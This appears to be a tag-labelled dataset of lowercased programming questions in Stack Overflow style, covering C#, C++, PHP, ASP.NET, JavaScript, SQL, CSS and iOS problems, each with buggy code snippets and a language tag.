why does this block throw an error    not all code paths return a value    <pre><code> public balldata getball(string name)     {          //check each item in the list for the name.         foreach (balldata item in _balllist)         {             //if the name matches  return the item to the caller and exit the loop.             if (item.name == name)             {                 return item;             }             else             {                 // otherwise  throw an exception to indicate that the ball wasn t found.                 throw new keynotfoundexception( the ball name doesn t exist. );             }           }     } </code></pre>,c#
ifstream >> reading same line over again  i m trying to read in formatted hex data into unsigned ints using the >> operator. the code i m using is   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt;  int main(int argc  char** argv) {   ifstream in(argv[1]);   unsigned int addr;   unsigned int op;   unsigned int data;   do   {     in &gt;&gt; hex &gt;&gt; addr &gt;&gt; hex &gt;&gt; op &gt;&gt; hex &gt;&gt; data;     cout &lt;&lt; addr &lt;&lt;     &lt;&lt; op &lt;&lt;     &lt;&lt; data &lt;&lt;  \n ;     if (in.eof()) break;   } while(1);   return 0; } </code></pre>   this works on a 300 line file just fine  but when i try it on a different file  it reads the 5th line repeatedly then seg faults  and i cannot figure out why. the first five lines are   <pre><code>fd2c ff eb 4fe9 ff 32 276e ff 6e 5c09 ff a3 7739 ff 36 </code></pre>   the offending line is   <pre><code>7739 ff 36 </code></pre>   any help is appreciated. thanks!   <h1>edit:</h1>   i modified my code so it looks like    <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt;  int main(int argc  char** argv) {   ifstream in(argv[1]);   unsigned int addr;   unsigned int op;   unsigned int data;   while (in &gt;&gt; hex &gt;&gt; addr &gt;&gt; hex &gt;&gt; op &gt;&gt; hex &gt;&gt; data)   {     cout &lt;&lt; addr &lt;&lt;     &lt;&lt; op &lt;&lt;     &lt;&lt; data &lt;&lt;  \n ;   }   return 0; } </code></pre>   this solves the problem of reading the 5th line over and over again but it still segfaults  albeit on another line. i m going to look further and see if i can pin it down.,c++
mktime convert seconds to date  i m stuck on how to use mktime.  how do i get the date to when the ban will be lifted    <pre><code>$time = strtotime($banrow[ time ]); //when user got banned      //1 week          $banduration = 60*60*24*7;         $newtime = $time+$banduration;           echo date( y-m-d  mktime()); </code></pre>,php
500 - internal server error using asp.net c# using charts  iv created a web application which uses charts and gridviews  this works perfectly on my localhost. the moment i put it on my server i get the following error    500 - internal server error. there is a problem with the resource you are looking for  and it cannot be displayed.    i suspect it has something to do with the web.config file  can some one please advice me on what might be wrong,asp.net
detect use of text-overflow with javascript  although the css directive <code>text-overflow: ellipsis</code> is quite nice as-is  i d like to do some string manipulation with javascript (to abbreviate certain long strings) whenever a string displayed on the page is being shortened  to avoid the ellipsis symbol if possible.   this would be useful since <code>text-overflow: ellipsis</code> always only cuts off characters from the <strong><em>end</em></strong> of a string  and sometimes the most import  information is on the end.      this is a somewhat contrived example  but it will illustrate what i mean.  if i have a list like so:   <ul> <li>merchandise catego...</li> <li>merchandise catego...</li> <li>merchandise catego...</li> <li>merchandise catego...</li> <li>merchandise catego...</li> </ul>   you can t tell that the first one is <em>merchandise category <strong>1</em></strong>  the next is <em>merchandise category <strong>2</em></strong>  and so on.  normally the problem is not so extreme as in this example  but it does happen that the end of the string contains important information and the middle contains words that could be abbreviated if necessary.    in tihs (contrived) example   merchandise  could be abbreviated to  merch.  and if the ellipsis were still being used   category  could be abbreviated to  cat.     how can i trigger javascript to run when the <code>text-overflow: ellipsis</code> is in effect.  (by  in effect  i don t mean the style is applied to an element.  i <em>only</em> want to know when that style is causing an element to be shortened and the ellipsis character (three dots) to appear.),javascript
which is to be call the distributed system  i have a question  i have windows service which is deployed to the server whih work as adata base layer to upload data to main data base server. then i have windows application which is deployed to multiple machine and these all machines uploads data to using that web service to the main server.    i want to know which i should call a distributed system  my windows application which is deployed to different different machines or the web service should be called the distributed,asp.net
converting a dictionary of list to list of dictionary  i have a dictionary of type <code>dictionary&lt;string  list&lt;string&gt;&gt;</code> and i want to convert it to a list of type <code>list&lt;dictionary&lt;string  string&gt;&gt;</code>. for e.g.    input:   <pre><code>  key              list { id    {  1        2       3    }}  { mkt   {  in       uk      us   }}  { dept  {  sales    test    var  }}  </code></pre>   output:   <pre><code>{    { (id   1 )  (mkt    in )  (dept   sales ) }   //1st node as dictionary   { (id   1 )  (mkt    in )  (dept   test )  }   //2nd node   { (id   1 )  (mkt    in )  (dept   var )   }    .   . //all possible combinations id  mkt and dept   .  } </code></pre>   i am able to do it using for loops but i was looking for a more clean way maybe using some c# specific feature like linq etc.   <pre><code>int a = 0; int nooftimestorepeatanelement = 1  nooftimestorepeatlist = count; int prevlistsize = 1  currlistsize = 1; foreach (var arg in dictionary) {     a = 0;     prevlistsize = currlistsize;     currlistsize = arg.value.count();      nooftimestorepeatanelement = nooftimestorepeatanelement * prevlistsize;     nooftimestorepeatlist = nooftimestorepeatlist / currlistsize;      var list = arg.value;      for (int x = 0; x &lt; nooftimestorepeatlist; x++)     {         for (int y = 0; y &lt; currlistsize; y++)         {             for (int z = 0; z &lt; nooftimestorepeatanelement; z++)             {                 finallist[a++].add(arg.key  list[y]);             }         }     } } </code></pre>   ps: i am from c background and new to c#,c#
disable sorting when clicking datagridview column header  i have a <code>datagridview</code> column header. when i click that header  the data is resorted according to the value.    i don t want that.    <code>datagrid</code> has an <code>allowsort</code> property. datagridview doesn t have that. anything i can do,c#
make uiview sub class but background color show black color  i have taken a uiview subclass but it s background color is not changing    this class i am using these method   <pre><code>- (id)initwithframe:(cgrect)frame {    self = [super initwithframe:cgrectmake(50  80  200  200)];    if (self)        {        // initialization code        }    return self; }  - (void)drawrect:(cgrect)rect{     cgcontextref context = uigraphicsgetcurrentcontext();    [[uicolor darkgraycolor]setfill];         cgcontextclearrect(context  rect);    cgcontextsetlinewidth(context  2.0);     cgcontextbeginpath(context);    cgcontextsetstrokecolorwithcolor(context  [uicolor orangecolor].cgcolor);    cgcontextmovetopoint(context  1  1);    cgcontextaddlinetopoint(context  100  100);    cgcontextstrokepath(context); // and draw  } </code></pre>   i am calling this class to main view controller   <pre><code>newclass *obj =[[newsclass alloc]init];  obj.backgroundcolor =[uicolor redcolor]; [self.view addsubview :obj]; </code></pre>   but background color by default show black color. it is not changing     if i implemented background-color code   init with frame method or     draw rect method   than not changing.    if i code it    <pre><code>- (id)initwithcoder:(nscoder*)adecoder  </code></pre>   than it s method not called  please suggest me uiview subclass black background color how to change,iphone
how are method names stored in run-time memory   out of interest  how are method names stored in memory in compiled objective-c  the main reason of interest is understanding dynamic typing better.    thanks in advance!,objective-c
urllib returning an error when plotting a seaborn heatmap  i am trying to plot a seaborn heatmap on my data  but it returns the following issue:   <blockquote>    file  /.../anaconda/lib/python3.6/urllib/request.py   line 650  in   http_error_default       raise httperror(req.full_url  code  msg  hdrs  fp)        httperror: not found  </blockquote>   any suggestions,python
how to clear error in asp.net  i have been designing a web page in asp.net and my project is successful. and i published my web application.however  below error occurs.how can i clear it    <blockquote>    server error in  /sarav  application.        object reference not set to an instance of an object.         description: an unhandled exception occurred during the execution of the current web >request. please review the stack trace for more information about the error and where it >originated in the code.         exception details: system.nullreferenceexception: object reference not set to an instance of an object.        source error:    an unhandled exception was generated during the execution of the current web request. >information regarding the origin and location of the exception can be identified using >the exception stack trace below.         stack trace:         [nullreferenceexception: object reference not set to an instance of an object.]     login.btnlogin_click(object sender  eventargs e) +155    system.web.ui.webcontrols.button.onclick(eventargs e) +105     system.web.ui.webcontrols.button.raisepostbackevent(string eventargument) +107    system.web.ui.webcontrols.button.system.web.ui.ipostbackeventhandler.raisepostbackevent (string eventargument) +7      system.web.ui.page.raisepostbackevent(ipostbackeventhandler sourcecontrol  string eventargument) +11      system.web.ui.page.raisepostbackevent(namevaluecollection postdata) +33      system.web.ui.page.processrequestmain(boolean includestagesbeforeasyncpoint  boolean includestagesafterasyncpoint) +1746  </blockquote>   how to clear error<img src= https://i.stack.imgur.com/kkicj.png  alt= enter image description here >   <pre><code>public partial class login : system.web.ui.page {     protected void page_load(object sender  eventargs e)     {      }      protected void btnlogin_click(object sender  eventargs e)     {          sqldataadapter da = new sqldataadapter();         sqlconnection cnn = new sqlconnection();         dataset ds = new dataset();         string constr = null;          sqlcommand cmd = new sqlcommand();         if (isvalid != null)         {             constr = configurationmanager.connectionstrings[ photostudioconnectionstring ].connectionstring;             cnn.connectionstring = constr;             try             {                 if (cnn.state != connectionstate.open)                     cnn.open();             }             catch (exception ex)             {                 string str1 = null;                 str1 = ex.tostring();             }             cmd.connection = cnn;              cmd.commandtype = commandtype.storedprocedure;              cmd.commandtext =  uspgetdatausrmast ;              cmd.parameters.clear();             cmd.parameters.addwithvalue( @usrname   txtusername.text);             cmd.parameters.addwithvalue( @passwrd   txtpassword.text);              da.selectcommand = cmd;             try             {                 da.fill(ds);                 //  cmd.executenonquery();             }             catch (exception ex)             {                 string  strerrmsg =  ex.message;                  //throw new applicationexception( !!! an error occurred while inserting record.   + ex.message);              }             finally             {                 da.dispose();                 cmd.dispose();                 cnn.close();                 cnn.dispose();             }              if (ds.tables[0].rows.count &gt; 0)             {                msg.text =  login successfully ;                // da.dispose();                // cmd.dispose();                // cnn.close();                // server.transfer( home.aspx );                response.redirect( photosettingsreport.aspx );             }             else             {                 msg.text =  login failed ;             }         }     } } </code></pre>,asp.net
using for next loop step 50 php   i want steps for using for next loop.     on a vb or vb.net   <pre><code>for i=0 to 1000 step 50 .... next </code></pre>   how can i use this code in php,php
what is the best way to repeat this loop   i m new to this and new to loops. the slot machine code works fine. i want the below code to do the following: when asked <code>(play again  (y/n ))</code>  if i respond by saying <code>y</code> the game restarts. if i respond by saying <code>n</code>  the program terminates. and finally  if i respond by pressing anything else e.g. <code>r</code>  the message repeats <code>(play again  (y/n ))</code>. i m thinking a do loop  but not sure what elements go where. thanks!   <pre><code>import java.util.random; import java.util.scanner;  public class slotmachine { public static void main(string[] args) {     scanner scan = new scanner(system.in);     int slotone;     int slottwo;     int slotthree;     string userresponse;          random randomnumbers = new random();          slotone = randomnumbers.nextint(10);  // random number between 0 and 9         slottwo= randomnumbers.nextint(10);           slotthree = randomnumbers.nextint(10);             system.out.println(slotone +     + slottwo +      + slotthree +     );  // prints all three slot numbers next to each other         if (slotone != slottwo &amp;&amp; slotone != slotthree &amp;&amp; slottwo != slotthree) // ! means does not equal         {              system.out.println( no numbers match );           }         else if (slotone == slottwo &amp;&amp; slotone == slotthree)          {              system.out.println( all three match - jackpot );          }          else         {              system.out.println( two numbers match );          }                 system.out.print( play again  (y/n ) );         userresponse = scan.next(); </code></pre>   <strong>update:</strong>    its the second loop that forces it to close,java
localization issue in ios  i have app content in english and french language.and sets <strong>localization native development region</strong> is  en  in infoplist. even though when i change language from french to some other language  not english....it is showing french content in my app  but expected behaviour should be english language ( default language),ios
is it possible to present an un-editable sms to the user using mfmessagecomposeviewcontroller   is it possible to compose an sms that when presented to the user for confirmation cannot have its body text deleted or altered,ios
iphone - classes  objects and memory consumption  suppose i have an application that will draw 20 little uiimageviews on the screen. suppose 20 playing cards faced down. so  you have the same image 20 times on the screen.    suppose i have two cases:   <h2><strong>case 1</strong></h2>   i have a method not on a class that loads the card back texture  applies to a uiimageview and positions it on the screen. this method is run 20 times  so all cards are put on screen as image views.   <h2><strong>case 2</strong></h2>   i have a class that once initialized will load the card background image  apply to a uiimageview and deliver it as an object.    suppose that now i want to animate the 20 cards  using simple uiimageview translation.    looking by the point of view of memory consumption  cpu load and run time execution which of the two cases i mentioned will be lighter for the application and consume less memory     thanks.,iphone
specific sql query with count of records  i have simple table.    <a href= https://i.stack.imgur.com/2u8cx.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/2u8cx.png  alt= enter image description here ></a>    i need to build a sql query and in result get the count of record where user re-played same game. so in this case we will have 3 in result..,sql
how can know debug or release in ios app   i want to distinguish debug state or release state in ios app.     how can know programmatically  distinguish code signing identity      distinguish provisioning profile,ios
implementing abstract list  i was looking at the <a href= http://docs.oracle.com/javase/tutorial/collections/custom-implementations/index.html  rel= nofollow >http://docs.oracle.com/javase/tutorial/collections/custom-implementations/index.html</a> tutorial and i tried to do the same :   <pre><code>class myarraylist&lt;t&gt; extends abstractlist&lt;t&gt; {      private final t[] a;      myarraylist(t[] array) {         a = array;     }      @override     public t get(int index) {         return a[index];     }      @override     public t set(int index  t element) {         t oldvalue = a[index];         a[index] = element;         return oldvalue;     }      @override     public int size() {         return a.length;     }      @override     public object[] toarray() {         return (object[]) a.clone();     }      public static void main(string[] args) {         string[] arr = { one    two    three };         myarraylist&lt;string&gt; list = new myarraylist&lt;string&gt;(arr);         list.get(1);         list.add(1   seven );         system.out.println(list);     } } </code></pre>   i get an exception while trying to insert the element :   <pre><code>exception in thread  main  java.lang.unsupportedoperationexception     at java.util.abstractlist.add(unknown source) </code></pre>   why is that  how do i fix it,java
sort of arguments  i have following code   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; int comp(const void *a  const void *b){ char *const *aa=a; char *const *bb=b; return strcmp(*aa *bb):   } int main(int argc char **argv){  int i;   qsort(argv+1 argc-1 sizeof *argv comp);    for (i=1;i&lt;argc;i++)        printf( i: %d==&gt;  %s \n  i argv[i]);    return 0;   } </code></pre>   but here is errors   <pre><code>error   1   error c2440:  initializing  : cannot convert from  const void *  to  char *const *  c:\users\student\documents\visual studio 2008\projects\sort_argv\sort_argv\sort_argv.cpp    5   sort_argv error   2   error c2440:  initializing  : cannot convert from  const void *  to  char *const *  c:\users\student\documents\visual studio 2008\projects\sort_argv\sort_argv\sort_argv.cpp    6   sort_argv </code></pre>   error   3   error c2143: syntax error : missing  ;  before  :      <pre><code>c:\users\student\documents\visual studio 2008\projects\sort_argv\sort_argv\sort_argv.cpp    7   sort_argv </code></pre>   error   4   error c2143: syntax error : missing  ;  before  :      <pre><code>c:\users\student\documents\visual studio 2008\projects\sort_argv\sort_argv\sort_argv.cpp    7   sort_argv </code></pre>   please help,c++
php/html: quote inside a quote inside a quote  i m having trouble creating the mouseover and mouseout states of the image because i have a quote inside a quote inside a quote. is when i use the php code below i receive an uncaught syntaxerror because the   before $id is closing the entire line. any ideas how to get around this  thanks!   <pre><code>&lt;img src= inventory_images/  . $id .  _1medium.jpg  onmouseover= this.src=\ inventory_images/\  . $id . \ _2medium.jpg\ ;  onmouseout = this.src=inventory_images/  . $id .  _1medium.jpg;  /&gt; </code></pre>,php
running .net app causes error requiring .net 4.6.2  but app targets 4.6.1  i have a weird error. i have an application built against .net 4.6.1. however  when i run it on the server  it complains that it requires .net 4.6.2  with the following dialog:    <a href= https://i.stack.imgur.com/tous4.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/tous4.png  alt= enter image description here ></a>    we have other .net 4.6.1 applications running successfully on that server.   <h2>server details</h2>   server is windows server 2012 r2.    the registry clearly demonstrates that .net 4.6.1 is installed (as release = 392471 as described <a href= https://docs.microsoft.com/en-us/dotnet/framework/migration-guide/how-to-determine-which-versions-are-installed  rel= nofollow noreferrer >here</a>    <a href= https://i.stack.imgur.com/kzpdv.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/kzpdv.png  alt= enter image description here ></a>   <h2>project file</h2>   here is the ilspy disassembly of the exe:   <pre><code>// {hidden}.exe // {hidden}  version=1.0.17725.11651  culture=neutral  publickeytoken=null  // global type: &lt;module&gt; // entry point: {hidden}.program.main // architecture: anycpu (64-bit preferred) // runtime: .net 4.0  using system; using system.diagnostics; using system.reflection; using system.runtime.compilerservices; using system.runtime.versioning;  [assembly: assemblyversion( 1.0.17725.11651 )] [assembly: debuggable(debuggableattribute.debuggingmodes.ignoresymbolstoresequencepoints)] [assembly: assemblycompany( {hidden} )] [assembly: assemblyconfiguration( release )] [assembly: assemblycopyright( © {hidden} )] [assembly: assemblydescription( {hidden} )] [assembly: assemblyfileversion( 1.0.17725.11651 )] [assembly: assemblyinformationalversion( 1.0.17725.11651 )] [assembly: assemblyproduct( {hidden})] [assembly: assemblytitle( {hidden} )] [assembly: compilationrelaxations(8)] [assembly: runtimecompatibility(wrapnonexceptionthrows = true)] [assembly: targetframework( .netframework version=v4.6.1   frameworkdisplayname =  .net framework 4.6.1 )] </code></pre>   and from the project file    <pre><code>&lt;targetframework&gt;net461&lt;/targetframework&gt; </code></pre>   i m out of ideas and looking for help!,.net
pass specific information to concrete classes in appropiate way  i have question regarding passing by some information to my repositories classes. currently i have two repositories  <code>csvrepository</code> and <code>sqlrepository</code>. for both of them  i want to pass some information  currently there is only path to be passed for <code>csvrepository</code>. as you can see i also have factory pattern class and <code>getrepository</code> method to get specific object on demand. i do not think this is right place to pass that information from <code>csvrepository</code> method because it s not the duty of factory method. could you help me out where this should be passed correctly    <pre><code> public enum datasource     {         sqlserver          csv          oracle     }      public interface irepo     {     }      public interface irepository&lt;t&gt; : irepo where t : class     {         ienumerable&lt;t&gt; getrecords();     }      public class repositoryfactory     {          // here i would need to pass all information for all repositories - bad idea perhaps          public static irepo getrepository(datasource repositorytype)          {              irepo repo;               switch (repositorytype)              {                   case datasource.csv:                      repo = new csvrepository( path ); //perhaps path shouldn t be right passed right here - so where                       break;                    case datasource.sqlserver:                      repo = new sqlrepository();                      break;                    default:                      throw new argumentexception( invalid repository type );              }               return repo;         }     }      public class csvrepository : irepository&lt;inputdata&gt;     {           private string _path;            public csvrepository(string path)           {                _path = path;           }            public ienumerable&lt;ibasic&gt; getrecords()           {               return from line in file.readlines(_path)                   select line.split(   ) into parts                   where parts.length == 3                   select new inputdata { name = parts[0]  x = convert.toint32(parts[1])  y = convert.toint32(parts[2]) };           }     }      // other repository     public class oraclerepository : irepository&lt;inputdata&gt;     {         // to be implemented     }      class form1     {            private void fetchdata(datasource repositorytype)          {               clearlistbox();                var repository = repositoryfactory.getrepository(repositorytype);               var people = repository.getrecords();          }           private void csvfetchbutton_click(object sender  routedeventargs e)          {               fetchdata(datasource.csv);          }      private void sqlfetchbutton_click(object sender  routedeventargs e)     {         fetchdata(datasource.sqlserver);     }      public class inputdata : ibasic     {         public string name { get; set; }         public int x { get; set; }         public int y { get; set; }     }  public interface ibasic { } </code></pre>,c#
i m using tabs and i want to use next/previous buttons to switch between tabs  i tried to use #href on my buttons in order to get them to change to another tab but all it ends up doing is adding #name in the url. how can i make it so my next and previous buttons change to the respective tab    <pre><code>&lt;div class= card text-left &gt;   &lt;div class= card-header bg-danger &gt;     &lt;ul class= nav nav-tabs  data-background-color= red &gt;       &lt;li class= nav-item &gt;         &lt;a class= nav-link active  data-toggle= tab  role= tab  style= color:white  href= #generalinfo &gt;general info&lt;/a&gt;       &lt;/li&gt;       &lt;li class= nav-item &gt;         &lt;a class= nav-link  data-toggle= tab  role= tab  style= color:white  href= #companyinfo &gt;company info&lt;/a&gt;       &lt;/li&gt;       &lt;li class= nav-item &gt;         &lt;a class= nav-link  data-toggle= tab  role= tab  style= color:white  href= #socialmedia &gt;social media&lt;/a&gt;       &lt;/li&gt;     &lt;/ul&gt;   &lt;/div&gt;      &lt;div class= card-body &gt;         &lt;div class= tab-content &gt;             &lt;div class= tab-pane active  id= generalinfo  role= tabpanel &gt;                 &lt;form action=   id= generalinfo &gt;                     &lt;a href= #companyinfo  class= btn btn-danger mt-3 float-right &gt;next&lt;/a&gt;                 &lt;/form&gt;              &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt;      &lt;div class= tab-pane  id= companyinfo  role= tabpanel &gt;                 &lt;form action=   id= companyinfo &gt;                    &lt;a href= #generalinfo  class= btn btn-danger mt-3 &gt;back&lt;/a&gt;                    &lt;a href= #socialmedia  class= btn btn-danger mt-3 float-right &gt;next&lt;/a&gt;                 &lt;/form&gt;     &lt;/div&gt; </code></pre>   any help would be greatly appreciated.,html
how to ignore one element in css   i have a menu effect where it underlines the heading of the menu you hover on  the problem is that it also underlines the logo when you hover on it...    the logo is in an li with the class name <code>.centered-inline-logo-wrap</code> i just need to know how to ignore that when the bottom effects are triggered...   <pre><code>#top-menu .current-menu-item a::before  #top-menu .current_page_item a::before {  content:   ;  position: absolute;  z-index: 2;  left: 0;  right: 0; } #top-menu li a:before {  content:   ;  position: absolute;  z-index: -2;  left: 0;  right: 100%;  bottom: 50%;  background: #fff; /*** color of the line ***/  height: 3px; /*** thickness of the line ***/  -webkit-transition-property: right;  transition-property: right;  -webkit-transition-duration: 0.3s;  transition-duration: 0.3s;  -webkit-transition-timing-function: ease-out;  transition-timing-function: ease-out; } #top-menu li a:hover {  opacity: 1 !important; } #top-menu li a:hover:before {  right: 0; } #top-menu li li a:before {  bottom: 10%; } </code></pre>,css
why do events not offer 3 accessor methods   when implementing events  one can provide code for <code>add</code> and <code>remove</code> a event handler. however  events can be accessed in three ways:   <pre><code>myevent += handler;                // add accessor myevent -= handler;                // remove accessor myevent(this  eventargs.empty);    // not supported by an accessor </code></pre>   wouldn t it be obvious to have another accessor called <code>invoke</code> that is responsible for that  my thoughts are:   <pre><code>class baseclass {   public virtual event eventhandler myevent { add; remove; protected invoke; } }  class derivedclass : baseclass {   public override event eventhandler myevent   {     invoke     {       // new code before event       base.myevent(this  ...);       // new code after event     }   } } </code></pre>   i know of the <a href= http://msdn.microsoft.com/en-us/magazine/cc163533.aspx  rel= nofollow >old-style pattern</a>  which is to implement an <code>onmyevent(...)</code> method. but there two important drawback with this approach:   <ol> <li>event code is scattered -> less organized code base</li> <li>you can t refactor the event easily (e.g.  rename it)</li> </ol>   <strong>edit:</strong> obviously the compiler team already designed for this feature (see <a href= http://msdn.microsoft.com/en-us/library/1a4k4e35.aspx  rel= nofollow ><code>getraisemethod()</code></a>).,c#
i m trying to insert after <div class= tbox > and <div class= tarea > only the latest <div class= properties > but here every div it is inserted <pre><code>&lt;fieldset id= tt &gt;     &lt;div class= cts &gt;         &lt;div class= tbox &gt;             &lt;input type= text  class= pp /&gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;div class= cts &gt;         &lt;div class= tarea &gt;             &lt;input type= text &gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;div class= cts &gt;         &lt;div class= tbox &gt;             &lt;input type= text  class= pp /&gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;div class= cts &gt;         &lt;div class= tarea &gt;             &lt;input type= text &gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/fieldset&gt;  </code></pre>  <pre class= lang-js prettyprint-override ><code>$( .cts ).find( div:first ).each(function(i){     var attr = $(this).attr( class );     alert(attr)     switch(attr) {         case  tbox :             $( &lt;div class= fieldproperties &gt;        &lt;input type= text  value= first  name= fields[ +i+ ].id  id= fields[ +i+ ].id &gt; &lt;/div&gt; )                 .insertafter($( .cts ).find( div.tbox ));             break;          case  tarea :             $( &lt;div class= fieldproperties &gt;        &lt;input type= text  value= second  name= fields[ +i+ ].id  id= fields[ +i+ ].id &gt;&lt;/div&gt; )                 .insertafter($( .cts ).find( div.tarea ));             break;     } }); </code></pre>   here i m trying to insert <code>&lt;div class= properties &gt;</code> after <code>&lt;div class= tbox &gt;</code> and <code>&lt;div class= tarea &gt;</code> only the latest <code>&lt;div class= properties &gt;</code> but here every div it is inserted. some field properties are loaded on every time    i m getting below dom structure but i don t want like this   <pre><code>&lt;fieldset id= tt &gt;     &lt;div class= cts &gt;         &lt;div class= tbox &gt;             &lt;input type= text  class= pp &gt;         &lt;/div&gt;&lt;div class= fieldproperties &gt;&lt;input type= text  id= fields[2].id  name= fields[2].id  value= first &gt;&lt;/div&gt;&lt;div class= fieldproperties &gt;&lt;input type= text  id= fields[0].id  name= fields[0].id  value= first &gt;&lt;/div&gt;     &lt;/div&gt;     &lt;div class= cts &gt;         &lt;div class= tarea &gt;             &lt;input type= hidden &gt;         &lt;/div&gt;&lt;div class= fieldproperties &gt;&lt;input type= text  id= fields[3].id  name= fields[3].id  value= first &gt;&lt;/div&gt;&lt;div class= fieldproperties &gt;&lt;input type= text  id= fields[1].id  name= fields[1].id  value= first &gt;&lt;/div&gt;     &lt;/div&gt;     &lt;div class= cts &gt;         &lt;div class= tbox &gt;             &lt;input type= text  class= pp &gt;         &lt;/div&gt;&lt;div class= fieldproperties &gt;&lt;input type= text  id= fields[2].id  name= fields[2].id  value= first &gt;&lt;/div&gt;&lt;div class= fieldproperties &gt;&lt;input type= text  id= fields[0].id  name= fields[0].id  value= first &gt;&lt;/div&gt;     &lt;/div&gt;     &lt;div class= cts &gt;         &lt;div class= tarea &gt;             &lt;input type= hidden &gt;         &lt;/div&gt;&lt;div class= fieldproperties &gt;&lt;input type= text  id= fields[3].id  name= fields[3].id  value= first &gt;&lt;/div&gt;&lt;div class= fieldproperties &gt;&lt;input type= text  id= fields[1].id  name= fields[1].id  value= first &gt;&lt;/div&gt;     &lt;/div&gt; &lt;/fieldset&gt; </code></pre>   i m trying to come the dom structure   <pre><code>&lt;fieldset id= tt &gt;     &lt;div class= cts &gt;         &lt;div class= tbox &gt;             &lt;input type= text  class= pp &gt;         &lt;/div&gt;&lt;div class= fieldproperties &gt;&lt;input type= text  id= fields[0].id  name= fields[0].id  value= first &gt;&lt;/div&gt;     &lt;/div&gt;     &lt;div class= cts &gt;         &lt;div class= tarea &gt;             &lt;input type= hidden &gt;         &lt;/div&gt;&lt;div class= fieldproperties &gt;&lt;input type= text  id= fields[1].id  name= fields[1].id  value= first &gt;&lt;/div&gt;     &lt;/div&gt;     &lt;div class= cts &gt;         &lt;div class= tbox &gt;             &lt;input type= text  class= pp &gt;         &lt;/div&gt;&lt;div class= fieldproperties &gt;&lt;input type= text  id= fields[2].id  name= fields[2].id  value= first &gt;&lt;/div&gt;     &lt;/div&gt;     &lt;div class= cts &gt;         &lt;div class= tarea &gt;             &lt;input type= hidden &gt;         &lt;/div&gt;&lt;div class= fieldproperties &gt;&lt;input type= text  id= fields[3].id  name= fields[3].id  value= first &gt;&lt;/div&gt;     &lt;/div&gt; &lt;/fieldset&gt; </code></pre>,jquery
matching specific one-to-many entries with sql  suppose i have two tables:   <pre><code>product ------- productid name </code></pre>   and   <pre><code>language -------- productid code </code></pre>   i have three products:   <pre><code>1   homebody  -&gt; 1  en 2   continetnal  -&gt; 2  fr                  -&gt; 2  en                  -&gt; 2  es 3   westy        -&gt; 3  en                  -&gt; 3  es                  -&gt; 3  fr                  -&gt; 3  pt 4   oktoberfest  -&gt; 4  de </code></pre>   suppose i have a list of languages i am interested <code>en  fr  es</code> in i would like to create three types of query to select a number of products.   <ol> <li>match any language in my list ( homebody    continental    westy )</li> <li>match all languages in my list ( continental    westy )</li> <li>match exactly languages in my list ( continental )</li> </ol>   i think the solution to the first is just:   <pre><code>select * from products as p join language as l on (p.productid = l.productid) where l.code in ( en    es    fr ) </code></pre>   what is a good way for me to solve the other queries  i suspect something where i count the number of languages associated with my product and make sure it is equal-to or at-least the number of languages in my query  but not sure how to make this happen.,sql
count query results on multi-join statements <pre><code>select cnt.loginid  grp.last_name as  group name   from contact cnt      right join grpmem list on cnt.contact_uuid = list.member      left join contact grp on grp.contact_uuid = list.group_id      join contact_acctyp cntacc on cnt.contact_uuid = cntacc.contact_uuid where cntacc.c_acctyp_id in (select id from acctyp_v2 where sym like  cdn% ) </code></pre>   i have written a query for our system that pulls a list of all canadian contacts and the group they are in.    now  for people who are in multiple groups (their loginid appears multiple times) i need to determine the number of groups they are in (return a count).  however  i am unsure of how to perform the count.      i d like my output to be in the following format:   <pre><code>| user id | # of groups | </code></pre>   i can t seem to figure out how to turn what i ve written into that.,sql
foreign keys in databases referencing multiple tables  is it possible for a foreign key to reference several tables     if not  how can we achieve one table linking to several others if not using the foreign key     if yes  how,sql
how to ensure that the table will be square on any screen size. no matter how many rows/columns  i am trying to style a table of two rows and sixteen columns to be always square on any screen resolution. so cells are narrow rectangles in portrait layout. i tried the following:    html:   <pre><code>&lt;table&gt;     &lt;tr&gt;         &lt;td&gt;&lt;div class= content &gt;&lt;/div&gt;&lt;/td&gt;         ... *another 14 td s*            &lt;td&gt;&lt;div class= content &gt;&lt;/div&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;div class= content &gt;&lt;/div&gt;&lt;/td&gt;         ... *another 14 td s*                &lt;td&gt;&lt;div class= content &gt;&lt;/div&gt;&lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>   css:   <pre><code>table {    width:100%; } table:after {    content:   ;    display: block;    margin-top: 100%; } td {    width: 6.25%;    position: relative; } td .content {    position: absolute;    top: 0;    bottom: 0;    left: 0;    right: 0;    background: yellow;    border: 1px solid brown; } </code></pre>,css
adding an href to a  submit  in html  i have this submit method    <pre><code>&lt;tr&gt;&lt;td&gt;&lt;input  type =  submit  value= register &lt;/td&gt;&lt;/tr&gt; </code></pre>   and trying to attach    <pre><code>&lt;a href= something.html &gt;click on meeee&lt;/a&gt; </code></pre>   any sugestions   so far i came up with just letting it be as a link   but thats not what it needs to be .,html
